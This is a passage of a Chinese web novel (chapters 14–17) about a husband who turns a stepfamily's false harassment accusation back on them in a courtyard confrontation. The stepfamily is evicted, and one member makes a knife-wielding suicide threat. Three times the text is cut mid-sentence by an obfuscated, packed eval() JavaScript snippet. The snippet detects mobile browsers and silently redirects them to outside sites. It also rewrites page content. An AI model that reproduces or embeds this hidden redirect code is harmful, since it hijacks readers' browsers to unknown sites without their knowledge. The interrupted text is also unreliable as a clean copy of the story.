回去胡同,洗漱完直接休息。 霍骁北盘算着往后几天没什么要紧事,就是对面想闹事也不能这么快,就磨着温苒亲热了几次。 具体几次温苒是记不清了。 反正在霍骁北嘴里永远都是最后一次,也每每都有下一次。 食而言肥,霍骁北在她心里已经是个贪吃不动的大胖子了! 转天是星期日。 各单位放假,也是宋爱民请求宽限的最后一天。 温苒睡得沉沉的,霍骁北轻手轻脚出门洗漱。 客厅里陈招娣带着三个闺女擦桌洒扫,瞧见霍骁北出来,一个个都很紧张,像是生怕要被赶走一样。 霍骁北端着脸盆出了大门,丝毫没给她们眼神,走到了水池边。 来对面串门的曲平安颠颠儿上前,殷勤地给他压水。 霍骁北:“谢谢。” 曲平安嘻嘻笑,佝偻着身子蹲下,压低声音道:“北哥,我弄了台旧录音机。” 霍骁北:“?” 他顿了下,继续打香皂,洗完脸才回道:“今早收的?” 昨晚才跟他说要办收音机厂,今早就弄了台旧收音机,这办事效率谁不得夸一句? 曲平安小声:“不是买,是借。” 霍骁北看他一眼,他骄傲地挺了挺胸,继续说:“是胡同里一个老大爷的宝贝,可有些年头了,正好可以给小苒练练手。我答应给他修好还回去,不过要是弄坏了我得赔他一台新的。” 区区收音机对温苒来说当然是小菜一碟,据温苒的亲生爸妈霍骁北的准岳父岳母说,温苒打小就拿改锥转悠着拆家里电器。 装不装得回去、装回去了有没有少零件、还能不能接着用另说,但温苒在这方面的经验是真不少。 霍骁北洗漱完回了房间。 曲平安兴冲冲去前院拿收音机,再回中院正好碰见潘奶奶的孙女孙女婿带着孩子过来。 两边一面寒暄一面过了中院的门,刚走没两步,就听‘砰——’的一声巨响,余光中一个黑影倒飞出去,吓得众人猛一哆嗦。 顺着声响扭头看过去,只见西厢两扇大门一扇挂在墙上摇摇欲坠,一扇已经躺尸在院里空地上四分五裂。 霍骁北沉着脸,大步迈下台阶,“平安,去报警!” “他们要杀人!” 14. 第 14 章 北屋里,宋爱民和温宝昌听到动静,对视一眼满是狂喜。 成了! 宋爱民夺门而出,张口就是早就准备好的草稿:“好你个——”无赖流氓那可是你嫂子! 可话刚冒个头就憋在了嗓子眼里,宋爱民目瞪口呆地看着客厅里一片狼藉。 ——瘫在地上脸色惨白冒冷汗的陈招娣、吓呆了的三个孩子、翻倒的饭桌和破碎的碗碟,以及破烂的两扇大门。 霍骁北嗓音含着愤怒:“报警!” 似一道惊雷劈中天灵盖,宋爱民和温宝昌齐齐醒过神来。 温宝昌反应快,比霍骁北表现得更愤怒更义正言辞:“好你个流氓想倒打一耙,报警就报警!” 宋爱民急了,拽着他低吼:“爸!不能报警!咱们这……” 温宝昌抬手猛推他一把,咬牙骂道:“都让人看到了你以为这事还能捂住?” 不让报警只会显得他们心虚! 为今之计只有表现得理直气壮,等警察来了他们抢占先机,必须把强占嫂子这顶黑锅给死丫头的男人扣实了! 虽然不知道发生了什么,但曲平安一看这情况就不对,转身去前院喊他爹曲胜利,又飞快叫了几个孩子让他们去派出所报警。 放假的日子,胡同里各家各户叫一个齐全,一点风吹草动立马传得人尽皆知。 不过一刻钟,院子里里外外就围了几层人看热闹。 街道办闻讯,和曲胜利的老搭档派出所所长一同出现。 小小的院子里,两方人正在对峙着。 左边以霍骁北为首,再有二大爷曲胜利和他小儿子曲平安;右边以温宝昌为首,再有就是宋爱民和一大爷何德民。 闫春芝不在,温宝昌怕她坏事,提前把她打发了出去。 此时裁判一到,曲平安身为霍骁北阵营第一辩手,抢先开口:“所长,他们要杀人!” 温宝昌恼恨地瞪他一眼,紧接着就要开口反驳,却被霍骁北轻飘飘截过话头:“警察同志,他们要杀我!” “你胡说!”温宝昌把旁边的宋爱民推到前面,一副好像真的受了侮辱的神色,青筋暴起,指着霍骁北大吼大叫,“分明是你对你嫂子耍流氓,你嫂子不肯,你倒打一耙!” 嚯! 人群炸开了锅。 那个说:“我天耍流氓?这男同志看着人模人样的没想到啊!” 这个却摇头,“我看不一定,没听说是这男同志先提的报警吗?” 有人插话:“保不齐是为了房子的事情闹呢!” 派出所所长抬手下压,“肃静!” 他看向院里两个管事大爷,何德民和曲胜利。 何德民跃跃欲试想要开口,他和温宝昌的交易因为意外中断,正愁怎么弥补呢,这次是个好机会。 所长目光从他身上划过,落在曲胜利身上,“副所你说说情况。” 曲胜利已经和霍骁北通过气了,镇定回道:“是这样的,骁北洗完脸回屋,不想陈招娣摔碎饭碗,拿着碎陶片朝他扑过来,骁北情急之下抬脚了踹过去。” “我们猜测,是因为骁北他爱人要求宋爱民同志一家搬出去,对方怀恨在心,所以才痛下杀手。” “另外,骁北当过兵,力气大,他又着急,那一脚可能有点重,陈招娣同志现在还在屋里地上躺着。还有,也是骁北先提出要报警的。” 听见这话所长仔细看了两眼霍骁北,这身高体格,就是普普通通的一脚常人挨了也得懵几下子。 他沉吟道:“情急之下,他也是为了自身安全考虑,责任不全在他。叫大夫来看了吗?” 曲胜利忙道:“派人去喊了,应该很快就到。” 所长满意点头,目光转向了何德民。 “何大爷,你说说你这边的情况。” 何德民先给了温宝昌一个眼神让他放心,接着清清嗓子,高声道:“所长明鉴!” “根本不是曲大爷说的那样爱民媳妇儿因为被赶出去想要杀人,是这小子不老实,对爱民媳妇儿动手动脚,爱民媳妇儿不肯,这小子恼羞成怒才殴打爱民媳妇儿!” 一人一个说法,一个说对方因仇杀人,一个说对方耍流氓未遂殴打女同志。 照所长来看,这事,难办。 不是他难办,是霍骁北难办。 身为派出所所长,他见多了这种空口白牙搞污蔑陷害的事情。 历来,女同志被污蔑不正经,男同志被污蔑耍流氓,就是最难澄清的两个谣言。 所幸这位男同志聪明点,知道一上来先给对方扣一顶要杀人的帽子。 造谣和辟谣讲究的就是个先来后到,他占了先机,开了个好头。 再看他的反应,被如此污蔑,却依旧神色淡定。 所长在心里点头,就是装,也必须装出个淡定的样子来,这种事就是越急越显得心虚。 所长问霍骁北:“这位同志你有什么要说的?” 霍骁北冷冷道:“我眼睛没瞎。” 在场众人,见过温苒的纷纷点头,那可不,大家都有眼睛。 温苒那模样,巴掌大小脸,五官精致明艳,气质清丽灵动,真就跟那仙女似的。 陈招娣也不是说丑,她模样本来也还行,就是面相显老显刻薄。 所长噎了噎,他还真不知道霍骁北媳妇儿长啥样。 不过看大家这一脸理所当然不觉得哪里不对的反应,想来模样应该不差。 宋爱民跳出来反驳:“谁知道你是不是有什么特殊癖好,觉得别人的媳妇儿才过瘾?” 这话一出,人群里也有频频点头的。 哎!那就是有人眼光独特,不喜欢漂亮的就是喜欢丑的,不管自个媳妇儿多漂亮就是爱找野食儿! 霍骁北冷笑:“你这么懂,看来你自己就是这样的人。” 曲平安见势立马帮腔,“就是!你这么懂,除非你自己就有特殊癖好!” 他转头对着人群高声道:“我说咱们胡同里已婚的同志都要注意了,已婚女同志注意自己安全,看到宋爱民千万要远着走,已婚男同志注意媳妇儿安全,千万别让宋爱民上门!” “你!”宋爱民一下子就炸了,脸色涨红,攥着拳头就冲了过来,“你胡说!” 曲平安弯腰就躲,藏在他认为最安全的霍骁北的身后,“哦!我们说就是胡说你说的就是正经了?你这么霸道全听你说得了还要所长和街道办主任来主持什么公道?” 所长让带来的年轻警察拦住宋爱民,呵斥道:“有话好好说,谁动手谁就跟我回所里住几天!” 宋爱民被警察钳制着无法动弹,呼呼喘气,死死瞪着霍骁北和曲平安。 温宝昌瞧见对方气定神闲,而自己这边宋爱民连几句刺激的话都受不了,他心下一沉,嫌弃地看着宋爱民。 蠢货!幸好这不是自己的种! “爱民。”温宝昌出声提醒,“我知道你受了委屈,你沉住气,慢慢说,所长和主任都在,肯定会为你做主。” 他看明白了,派出所所 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14283801|151970||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 长因为曲胜利的关系向着对方,那街道办主任就必须争取过来。 温宝昌给宋爱民一个眼神,让他注意街道办主任。 宋爱民的大脑已经完全被愤怒占领,没有领悟到这一瞥,反而一张口矛头又对准霍骁北,“好!我自己说了不算,孩子说的总能算了吧?她们可是亲眼所见,就是你对着招娣动手动脚想强迫她!” 霍骁北还是那副淡定到能气死人的表情,“我也亲眼所见,在场大家也亲眼所见,你巴不得你妻子被别的男同志占便宜,你才是有特殊癖好。” 在场众人:“……” 你别说,虽然好像哪里怪怪的,但听着真挺有道理的! 分明一开始是霍骁北先说陈招娣要杀他的,正常情况难道不是宋爱民反驳这一点吗? 结果宋爱民张口就是霍骁北要占他媳妇儿便宜,这边否认,他接着说对方有特殊癖好,对方不承认他就不罢休。 人群里有人道:“要我说啊,这小同志不像个傻的,他真想占便宜不会挑没人的时候啊?非得挑个放假的日子,噢,人都在呢,他故意让别人瞅见是吧?” 曲胜利听到这话转过头,见说话的大爷曾经和有良大爷关系不错,就知道人家这是还念着情分呢。 他偷摸戳了下躲在霍骁北后头的儿子,曲平安立马出声附和:“就是!北哥眼睛不瞎,脑子也不蠢,还是他先要求报警的!你们说他真要干了坏事还能这么兴师动众吗?” 围观众人心里的天平逐渐倾斜向霍骁北。 确实,贼喊捉贼这种事是不少,但没见过主动把事情闹大的贼。 温宝昌反驳:“那是他为了撇清嫌疑!他要是没做,我们为什么说他做了?爱民气成这样,还不是他媳妇儿真的被占了便宜!” 他哽咽了一声,说道:“咱们街坊邻居这么多年,徐主任您可要为我们做主啊!大家也千万擦亮眼睛,看清楚谁才是好人谁才是那个黑了心肝的啊!他姓霍的占了便宜还不认,他就是个无赖!流氓!” 闻言人群又开始议论纷纷,风向转瞬就有了变化。 该说不说,这老东西有两把刷子。 局势稍稍回拽回,宋爱民也冷静下来,顺着温宝昌的话说下去:“你个不要脸的流氓!你对得我妹子吗?今天你要是不拿出个说法,我们饶不了你!” 看到这发展,所长心道重头戏来了。 霍骁北虽然抢占了先机,但还是那句话,这种事沾上了就不好洗干净,对面一盆脏水正正照着你泼过来,你本来清清白白也得沾上泥点子。 霍骁北不疾不徐开口,“所长,徐主任,曲大爷,还有何大爷,我能不能说几句话?” 曲胜利马上道:“你说!你说就是!咱身正不怕影子斜,没做过就是没做过,大爷信你!” 何德民撇撇嘴,这小子没眼色,把自己这个一大爷放曲胜利后头,他也开口,却是说道:“你还是想想该怎么赔偿吧!” 曲胜利骂道:“何德民你胡咧咧什么胡咧咧?怎么就赔偿了?你就净干昧良心的事吧!” 何德民瞪圆眼睛,“嘿你说谁没良心——” 徐主任出声打断俩人的嘴仗,不耐烦地喝道:“你们两个别搁这儿添乱!” 所长点点头,“霍同志你说。” 得到首肯,霍骁北上前,对着围观群众,神情严肃地高声道: “十几年前,温宝昌害死了他师父、我爱人温苒的爷爷温有良!” 嚯! 围观群众顿时一片哗然。 15. 第 15 章 “原来是真的?” “我当年就说温宝昌这老小子不老实,知人知面不知心啊!有良大爷对他那么好!” 围观的人们也说不好是信了还是没信,但呱呱得厉害,反正只是凑热闹说几句话而已。 “你——”温宝昌不敢置信地瞪大眼睛,抖着手指着霍骁北,“你放屁!你敢污蔑老子?他娘的给老子闭嘴!” 他说着三步并两步冲过来,曲胜利和曲平安父子俩齐齐上前把人拦住。 曲平安还掏出汗巾,坏心眼儿的塞住温宝昌的嘴,叫你空口白牙就污蔑我北哥,活该! 霍骁北丝毫没受影响,连停顿都没有,继续说道: “此外,十几年前,温宝昌在和我岳母的婚姻关系存续期间,与宋爱民生母闫春芝乱搞男女关系!” “并在闫春芝怀孕四个月时,带她上门,奸夫□□到我怀孕的岳母跟前光明正大的偷情,活生生气死我岳母!” “我岳母死后,闫春芝带着肚子登堂入室,生下的孩子温志伟是温宝昌的亲生血脉,却对外宣称是继子!” 温宝昌心里一个咯噔,立时挣扎得更厉害了。 陷入震惊的人群再次齐齐哗然,热闹的议论声霎时更上一层。 人们纷纷发表看法:“志伟那模样打小就跟温宝昌相像,老早我们就说这是亲生的,温宝昌和闫春芝还说什么谁最疼孩子孩子才跟谁像,呵忒!哄傻子呢?” “温宝昌刚死了媳妇儿就找姘头,闫春芝大着肚子进门,这俩能是什么好东西吗?保不准害人的事就是真的!” “我听我妈说,温慧没了的前几天,温宝昌是带着闫春芝来了咱们胡同一圈,温慧本来身体好好的结果突然就没了,你说哪有这么巧的事?” 宋爱民一见风向不对,好似个个都信了他妈杀了人,瞬间又化身炮仗,攥着拳头朝霍骁北冲过来。 “你放屁!” 他架势起得猛,连专门盯他的警察都没拦住,让宋爱民气势汹汹冲到了霍骁北面前。 霍骁北面不改色,闪身利落一躲,宋爱民扑了空,身体栽向围观人群。 围观人群慌不迭躲开,让出来的空地上宋爱民结结实实摔了个倒栽葱,好半晌他才晕晕乎乎爬起来。 霍骁北的反驳还在持续:“大家都知道,我岳父温宝昌同志几十年前逃难来长京市,是我爱人的爷爷收留他把他养大,教他立身活命本事,让他有了赖以为生的工作!” “可他非但不知感恩,反而狼子野心害死他的恩人,还窃取恩人留下的财产!” 温宝昌呜呜呜,眼睛珠子都快瞪出来了。 宋爱民恢复过来,闷头又冲,霍骁北一个闪躲,他这次撞到压水机上,砰一声震晕过去了。 霍骁北瞥了一眼就收回视线,“我爱人的爷爷和母亲攒下来的家底,包括工作、房子和存款都是留给我爱人的,和他温宝昌一个改嫁的赘婿没有任何关系!” 他还给大家换算了一下,这种情况放到时下普通的嫁娶婚姻关系上是怎样的。 “倘或已婚已育的男同志过世后,妻子改嫁,还带着男同志留下的房子、工作和所有存款,却独独不管孩子,你们能愿意吗?” 性别一换,满院子不论男女同志立时就爆炸了。 “她敢?” “不管孩子还想要房子工作存款,想得美?” “我呸!谁这么大脸看我不抽死她?” 你就说吧,温宝昌得亏是占了个性别便宜,不然早就让人大嘴巴子呼脸了。 而女同志改嫁的情况在现实中是怎样的? 婆家大方的可能会出一笔彩礼;婆家要是寒酸刻薄,非要拘着女同志不许改嫁也是常有。 婆家要是没人了,那也有街坊邻居们出面,如果哪个女同志改嫁带着所有家底还不管孩子的——换成温宝昌的情况,就是改嫁的女同志和二婚对象在前夫家里一住住十几年还让前夫唯一的孩子十四岁就下乡——脊梁骨都得被人戳碎了。 怎么这种情况放到男人身上就不行了? 于是霍骁北就把赘婿再娶等同于女同志改嫁,大家立刻开始了口诛笔伐。 眼看群众愤怒的情绪已经被挑起来,霍骁北适时出声,引导大家把矛头正式对准温宝昌:“关于我爱人下乡前被温宝昌、闫春芝、宋爱民和温志伟一家四口污蔑她故意把温志伟推下台阶一事,就是他们图谋我爱人家产的第一步!” 要知道当年可不是现在,知青下了乡如果没特殊情况就一辈子再回不了城。 之后的事,胡同里的街坊都看在眼里,温家的房子被温宝昌一家光明正大占了十几年,两份工作也被闫春芝和宋爱民接手,反而是温苒一点好处没得到。 众人自动联想到现实,而现实中他们亲眼所见到的却正好一一佐证了霍骁北的说法,就越发肯定他口中所述就是真相。 形式瞬间翻转! 霍骁北为愤怒的大家找到了发泄的对象,顿时一句句脏话朝着温宝昌飚过去: “白眼狼!良心都被狗吃了!” “简直是咱们胡同的耻辱!败类!” “比茅坑里大粪还恶心!” “明天我就去通机厂举报!你这样的人怎么能当工人?我呸!” 事情回到当下,霍骁北道出了今天这场闹剧的真相:“我爱人在曲大爷和通机厂领导的帮助下拿回了房子,要求宋爱民搬走。宋爱民假意答应,实则背地盘算意图故技重施,用当年陷害我爱人下乡的办法污蔑我对他媳妇儿图谋不轨,并以此为把柄拿捏我,进而图谋我爱人的财产!” 围观群众听到这里,脑子里只有八个大字:合情合理!这是真相! 霍骁北补上最后一个窟窿,“但他没想到他媳妇儿因对我和我爱人怀恨在心,见到我进屋时愤怒上头,冲动之下摔碎陶碗要杀我!” “这就是为什么在我看来是谋杀,而在温宝昌和宋爱民嘴里却是我耍流氓!” 语毕,嘈杂的场面陷入死寂。 温宝昌浑身力气一散,瘫倒在地,脸色灰败。 小瞧死丫头,也小瞧死丫头找的这个男人了…… 相比于温宝昌和宋爱民两个简单粗暴毫无说服力的诬陷,霍骁北义愤填膺的一通长篇大论固然有点阴谋论嫌疑,但前后逻辑在线,又有事实佐证,在众人心里俨然已经成为事实的真相。 大家信了他,而不信温宝昌和宋爱民。 一片死寂中,曲胜利开口了,“徐主任,您在街道办这么多年,温家的情况您多少也了解。自温苒下乡后,有良大爷的房子被温宝昌的再婚家庭霸占,两份工作也被闫春芝和宋爱民顶班,这些都是事实。” 徐主任脸色很不好看,“是我没做好工作,我检讨。” 所长出言给她找补,“这怎么能是你的错?基层工作最是难办,这事说到底是人家的家事,很多时候咱们也不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14283802|151970||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 清楚真正的情况,有所疏忽在所难免。” 霍骁北轻声和曲平安说了两句,曲平安一溜烟儿跑到人群前面,拔高嗓音:“同志们!宋爱民一家是咱们胡同的败类!耻辱!” “今天他们能为了房子为了工作就随意陷害污蔑北哥,明天就能为别的朝咱们身上泼脏水!他们都能干出来把小苒妹子送去下乡不闻不问让她等死的事情来,对咱们这些跟他非亲非故的还有什么干不出来?” “赶出去!把他们赶出去!咱们胡同没有这样的人!” 一道声音高呼过后,紧接着就是此起彼伏的附和,“必须把他们赶出去!” “主任所长把他们赶出去!” 群情激奋之时,霍骁北出声了:“宋爱民一家我爱人和我是绝对不允许他继续住下去,温宝昌同志……” 他抿了抿嘴角,似乎很为难但似乎又碍于某种原因不得不开口:“我爱人说了,虽然温宝昌同志视她为仇人,可到底是她父亲,也养了她几年,她说北屋暂时就让温宝昌同志住着。” 曲平安装模作样发出感慨:“哎呀,你们夫妻俩就是心地善良没脾气,他们这群白眼狼明摆着要害死你们才罢休,你们……唉!” 他摇摇头,想了想说道:“通机厂马上要分房,依我看,你们就收留温宝昌同志到他分到房子那天,至于其他人你们千万不要管他们死活!” “我听说,是有良大爷帮温宝昌担保他才能进通机厂的,唉!” 后面这句,曲平安看似小声,实则音量大到全场人都能听见。 众人瞪着温宝昌,再一次骂道:白眼狼! “就你明白!这里哪有你说话的份?”曲胜利猛地把儿子拽到一旁,看向所长和徐主任,“孩子不懂事,两位别介意,该怎么办您两位拿个主意吧。” 徐主任眼睛往下,“还是让你们所长来拿主意吧,不过我有几句话要说。” “有良大爷和温慧同志是咱们胡同里有口皆碑的好同志,有良大爷抓过特务,为群众为厂里做出过巨大贡献,温慧同志爱岗敬业乐于助人团结邻里,失去这样两位好同志是咱们胡同的损失。” “不过咱们不能寒了好同志的心,绝不能让这些人欺负了温慧同志唯一的孩子!” 温宝昌还想为自己解释,扒拉掉曲平安塞的汗巾,着急忙慌开口:“徐主任您不能偏听偏——” 所长打断他的话,“温宝昌同志,我们一致决定:责令宋爱民同志及其家属今日内搬出胡同,不得有耽误!” “至于同志你,你姑娘心善,愿意留你到厂里分房那天,在那之后你务必也要搬出胡同!” 温宝昌这下是真没指望了,闭口不再言语。 这次真成了偷鸡不成蚀把米…… 他悔啊!他怎么就信了宋爱民那蠢货的脑子? 西厢屋里,躺在地上的陈招娣听见结果,同样后悔地留下两行泪水。 她怎么就没办成她怎么就没办成这么点小事她都没办成…… 她不是在后悔不应该诬陷算计别人,而是在后悔自己办砸了事情。 不! 她们绝对不能被赶出去! 陈招娣猛地爬起来,眼神发狠,冲进了厨房。 院子里,结果已定,温宝昌眼红不甘地望着这间房子,心里那叫一个恨。 突然一个人影从里冲出来,尖锐凄厉地大喊:“你们不能把我赶走不然我就死给你们看!” 16. 第 16 章 听到所长宣布的处理结果,围观群众简直比霍骁北这个当事人还要大快人心。 大家正七嘴八舌说着呢,突然插进来这么一道声音,顿时纷纷扭头看过去。 那人赫然就是一直没出现的今次事件的另一主角:陈招娣! “快拦住她!她手里有刀!” 徐主任惊慌地指挥着年轻小片警去夺刀。 小片警刚一动,陈招娣立马举着菜刀对准脖子,“都不许动!你们再过来我就去死!” 小片警僵在原地,所长伸手把他拉到后面,站出来安抚陈招娣:“这位女同志别冲动,我是咱们派出所所长,这是咱们街道办徐主任,我们都在,你有什么困难你说,我们绝对尽力给你办成!” 徐主任连忙跟着他的话点头,“对!我们肯定帮你办成!” 峰回路转了! 温宝昌死灰一般的眼神重新亮起来。 “我知道爱民媳妇儿想要什么,她就想跟孩子们有房子住,想要爱民有份工作维持家用。” 他大声说着,瞪向了霍骁北,“可惜就连这么点要求,别人都不肯答应,可恨!” 在场众人:“……” 唉我去这人脸盘子咋那么大呢?张口就是强占人家房子工作,闭口就是人家不给就可恨,你这么能你去街上要饭什么要不来啊? 陈招娣死死攥着菜刀,梗着脖子道:“对!就是我公爹说的那样!不许赶我们一家走!不许抢我们的工作!不然我就死在你们面前!你们都是杀人凶手!你们就等着被人戳脊梁骨吧!” 本来心软想为她说几句话的围观群众立马闭嘴了,神情愤愤。 好家伙,我们就是过来看热闹,到你嘴里成杀人凶手了? 你想死就赶紧去死!死远点! 你可赶紧闭嘴吧!不会说话就别说!温宝昌恨恨看着陈招娣,好好的局面让你三言两语就得罪了所有人,你这嘴可真他爹的会说! 温宝昌赶忙找补,“我这儿媳不会说话,大家见谅!” 然而听见他这话,围观群众抄手的抄手,望天的望天,都不接茬儿。 就这种人你帮了她她非但不会感激你还会反咬你一口,谁的善心也不是大风刮来的,爱死不死! 曲平安把偷摸捡来的东西塞给霍骁北,看到这情况,他虽然不知道什么叫猪队友,但他很能理解温宝昌此时的憋屈。 大家都不接茬儿,徐主任得接,她看了眼默不作声的霍骁北,给他使了个眼神,先答应下来把人劝住。 霍骁北轻轻颔首,表示他同意了,又回她个眼神,表示你说。 徐主任心下一松,这同志比看着好说话,要是他不同意自己这边也难办。 她说就她说,她高声道:“我答应!我答应你的要求!” 陈招娣闻言大喜,心神彻底放松,不自觉把刀刃远离了脖子。 霍骁北瞅准时机,扬手一颗石子打过去。 陈招娣瞬间手腕一麻痛呼出声,刀柄脱手顺势掉落,霍骁北飞快上前踩住菜刀,中止了对方愚蠢的威胁行为。 徐主任撸起袖子,两眼冒火,上前就把人牢牢制住,抓着陈招娣的头发冲她耳朵咆哮:“你爹的还敢用自杀威胁老娘?还腆着个大脸要房子要工作你脸皮厚到是能防弹吗?你去死!赶紧去!看你这条命值不值这么多?我呸!” 围观群众纷纷模仿:“我呸!” 陈招娣恍恍惚惚,也不躲也不喊疼,怔楞着问:“你答应了?你答应了对不对?” 徐主任一耳光送给她,喷道:“你想得美!又不是我的房子工作,我凭什么替他们答应?我刚才的说的都是屁话!你们立刻搬走!今天就搬!” 徐主任扭头看向围观群众,“都来帮忙!咱们胡同不能留这种老鼠屎!” 大家简直再同意不过,热情地上前,“我来!赶紧搬完回家歇着!” 街坊邻居如此热情,霍骁北也不好推却,领着他们进了屋子帮宋爱民一家搬东西。 陈招娣苦着喊着要阻拦,“不能搬!不能搬!你们搬了我们要住哪里?你们这是要逼死人啊!” 徐主任拽着她头发拽出了这间大杂院,“你可闭嘴吧?” 这人没脑子?她都闹成这样了,人家不趁这个机会把她弄走,难道等以后她动不动拿刀抵脖子再要这要那吗? 蠢货! 陈招娣流着泪,脑子里又只剩一个想法:事情又没办成又没办成她真没用…… 眼看陈招娣这么迅速败下来一点作用也没起到,温宝昌又蔫儿了。 一帮废物!蠢货! 正在心里骂着,温宝昌眼前 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14283803|151970||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 忽然变暗,他一抬头,正对上所长审视的眼神,浑身一凉。 他扯起嘴角,试探道:“所长,您还有事?” 所长也不回他,只是静静盯着他,那目光把温宝昌看得心里直发毛。 温宝昌想到了霍骁北刚才说的那些话,冷汗唰地就下来了。 他眼神闪烁,又慌又恨,一面又安慰自己,那些话又没证据,他不会有事的。 所长确实没揪着霍骁北的话求证,他只是拎着温宝昌和何德民去一旁进行了友好和善的教育。 很快大夫也来了,先给陈招娣瞧。 陈招娣那一脚的伤势也不怎么重,霍骁北收着力呢,她摔地上的时候摔得很重,胳膊肘杵了下,似乎也有点轻微脑震荡。 不过所长说了,责任不在霍骁北,医药费是别想了。 宋爱民还晕着,大夫又过来给他掐着人中唤醒。 曲平安笑嘻嘻告诉宋爱民事情的结果,宋爱民接受不了,脑袋一歪又晕了。 人多力量大,不多时就将宋爱民的家当以及宋爱民本人搬到了胡同口。 霍骁北让曲平安点了几个信得过的邻居帮忙,免得到时宋爱民丢了东西再回来要说法。 潘老太一早出门去菜市场买菜,拎着满当当的菜篮子到了胡同口,看着忙碌碌搬东西的街坊们都惊呆了,再一问发生了什么,拍着大腿直呼可惜。 真是天大的热闹都错过了!她但凡晚上那么一刻钟呢?高低给那些瘪犊子几个大耳刮子! 宋爱民和陈招娣的三个女儿可怜兮兮地守在无法动弹的爹娘身边,哭红了眼睛。 邻居们看了不免唏嘘,这夫妻俩平日不显眼,但重男轻女的名声却实实在在传遍了胡同。 摊上这样一对父母,孩子也可怜。 这边事了,徐主任也闲不下来,去帮宋爱民找房子了,总不能叫他们一家流宿街头。 看不上归看不上,但分内之事还是要办的。 热闹看完家搬完,有人散了有人没散,还留在院里串门唠嗑。 有人纳闷,“哎!有良大爷他孙女呢?” “闫春芝怎么也不在?” 闫春芝要是在,今天这事怕是不能这么快就完了,那老娘们儿且能闹腾呢。 等她回来,怕是这边还有的热闹看! 17. 第 17 章 至于温苒在哪儿…… 外面纷纷扰扰,温苒正睡得天昏地暗。 有人问到霍骁北面前,他垂下眼睛盯着脚尖,神色担忧:“因为……唉,她最近心情不太好,身体不大舒服。” 众人自动脑补了原因:奥,肯定是被温宝昌这样的黑心爹给伤到了! 今天事发突然,霍骁北也没料到对方竟然会这么快出手。 原本就是今天宋爱民不搬出去,温苒也不会发难,她计划的是让对方主动出手,趁机摸清他的底细,为后面拿回工作做准备。 他最后的那套说辞,就是温苒预计拿回工作时在厂领导面前讲的。 嗯…… 结果被他先拿出来用了。 好在结果喜人。 他摸清楚了宋爱民底细,并把宋爱民一家赶走,就是工作虽然名义上拿回来了但实际还没到手。 另外,今天事情能成,多半还要感谢胡同里这些街坊。 尤其是曲胜利和曲平安父子,没有曲胜利所长不一定向着他,没有曲平安烘托气氛扮白脸,说那些他这个身份不合适说的话,结果就可能不会这么顺利。 为了感谢大家的帮助,霍骁北送给曲胜利一瓶白酒,系统签到给的。曲胜利抿了一口眼睛都放光了,连忙抱走找地方藏起来。 霍骁北还请曲平安帮忙倒腾了炉子碗筷和食材,两人把宋爱民那间屋子改成厨房,炸了些南瓜饼虾饼挨家挨户串门送过去。 街坊邻居得了感谢和实惠总要表达几句,夸霍骁北和温苒,骂温宝昌一家子。 这些表达并不只是对着霍骁北一个人,他们还自发自动去附近走街串巷互通有无。 不等过午,附近整片胡同都知道了一大清早温家院里那场热闹。 于是骂温宝昌几个的人更多了,可怜温苒爷孙三个的也更多了。 等温苒傍晚时候醒来,霍骁北将今天发生的事情一五一十都告诉她。 温苒都惊呆了。 宋爱民这么没脑子吗? 那他是怎么截□□宝昌拿到房子的? 温苒抱着被子呆坐思考,饶是宋爱民脑子都没了,也不可能真的听派出所所长的话主动把工作还回来。 但是,半晌后她抬头看着霍骁北,“我改主意了,我们不去闹,我要让他们把工作主动送回来,还有这么多年应有的补偿!” 补偿什么的不在任务范围内,但温苒想要,她们接下来还要办厂做生意,没钱怎么能行?能薅一点是一点! 隔壁屋改成了厨房,此时门窗都大开着通风。 温苒出来洗漱,路过厨房向里张望,刚好看到曲平安从砂锅里捞出一块红烧肉要塞嘴里。 她叉腰,回头看着霍骁北,一手指向屋里,“有人偷吃!” 曲平安吓得一哆嗦,慌慌张张把肉塞嘴里,背对着门口腮帮子快速动作,一边为自己辩解:“没!没偷吃!我就是、就是尝尝咸淡!” 霍骁北道:“我看你是想解馋,差不多了你挑两碗出来,一碗送去前院你家,一碗等会儿我端给潘奶奶。” 曲平安嘿嘿一笑,“马上马上。” 他说着又吞了两块肉,“北哥你这手艺比饭店大厨都不差!” 温苒挺直腰板,一脸骄傲:“那是!” 也不看看上辈子给她做了多少年的饭! 曲平安听了,十分捧场地竖起大拇指,“妹子有眼光!” 温苒去院里洗漱一番,回来厨房吃饭。 除了那一锅炖肉,霍骁北又添了三个菜,韭菜炒鸡蛋、醋溜白菜和炒萝卜条。 饭桌上温苒和霍骁北凑在一起低声说话。 今天的事情幸亏她不在场,不然真挺难办的。 